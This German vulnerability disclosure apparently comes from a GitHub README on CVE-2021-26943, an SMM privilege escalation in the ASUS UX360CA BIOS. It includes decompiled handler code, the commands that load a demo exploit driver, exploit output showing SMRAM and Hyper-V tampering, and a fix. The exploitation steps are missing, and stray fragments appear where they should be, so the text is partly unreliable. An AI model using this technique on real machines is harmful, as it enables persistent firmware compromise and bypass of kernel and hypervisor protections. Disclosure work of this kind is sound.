tandasat/smmexploitDer Bericht und der Exploit für CVE-2021-26943, die kernel-to-SMM lokale Privilegieneskalations-Schwachstelle in ASUS UX360CA BIOS Version 303.
Dies ist ein Bericht und ein Exploit für CVE-2021-26943, die Kernel-zu-SMM lokale Privilegienausweitung Schwachstelle im ASUS UX360CA BIOS Version 303. Das Problem wurde in der Version 304 behoben.
Das UX360CA BIOS Version 303 enthält 3 anfällige Module, die einem Angreifer mit Ring0-Berechtigung erlauben, fast beliebigen physischen Speicher, einschließlich SMRAM, zu überschreiben und beliebigen Code im SMM auszuführen.
Diese Module können wie folgt identifiziert werden:
| Name | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
Diese Module stammen von AMI (BIOS-Hersteller) und können in anderen OEM-BIOSen vorhanden sein.
Die anfälligen Module und die zugehörigen SMIs sind: UsbRt (0x31), SdioSmm (0x40) und NvmeSmm (0x42). Alle diese SMI-Handler lesen die physische Speicheradresse 0x40E, um eine Adresse zu erhalten, mit der gearbeitet wird, und schreiben bei einem Fehler ein Byte an die Adresse, selbst wenn es sich um SMRAM handelt.
Zum Beispiel sieht der SMI-Handler von SdioSmm wie folgt aus:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
Dieses Problem scheint identisch mit INTEL-SA-00057 zu sein, das ausführlich als Aptiocalypsis beschrieben wird. Die BIOS-Version 303 für UX360CA enthält jedoch keine Korrekturen dafür.
Dies ermöglicht einem Angreifer mit Schreibzugriff auf physischen Speicher und der OUT-Anweisung (d.h. Ring0-Berechtigungen), den Inhalt von SMRAM mit den folgenden Schritten zu überschreiben:
Dies kann verwendet werden, um eine beliebige Codeausführung im SMM zu erreichen, wie folgt:
.Raw-Werts in HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader ReservedDie beliebige Codeausführung im SMM würde es einem Angreifer ermöglichen, Sicherheitsmaßnahmen des Kernels und Hypervisors wie HVCI zu umgehen, wie in einem anderen SMM-Sicherheitsbericht gezeigt, und Persistenz durch Aktualisierung des Inhalts des SPI-Flashs (BIOS) zu erreichen.
Das beigefügte Demo-Projekt demonstriert die erfolgreiche Ausnutzung und gibt Inhalte von MSRs aus, die nur im SMM zugänglich sind, sowie die physische Adresse des EPTP. Es modifiziert auch den CPUID VM-Exit-Behandlungscode des Hyper-V-Hypervisors, um eine geänderte Hypervisor-Anbieterzeichenfolge zurückzugeben.
Der PoC wurde unter Windows Build 18362.1256 getestet, sowohl mit als auch ohne aktiviertem HVCI.
Eine Aufzeichnung der erfolgreichen Ausnutzung finden Sie auf YouTube.
Auf dem Zielsystem:
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
Hv Tampered! zurück.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!
Die Behebung besteht darin, die benutzergesteuerten Inhalte überhaupt nicht zu verwenden, wenn sie auf SMRAM zeigen, wie unten gezeigt.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
Die Behebung folgt perfekt der aktuellen Branchenbest Practice und verhindert den Confused-Deputy-Angriff, der zur SMRAM-Korruption führt.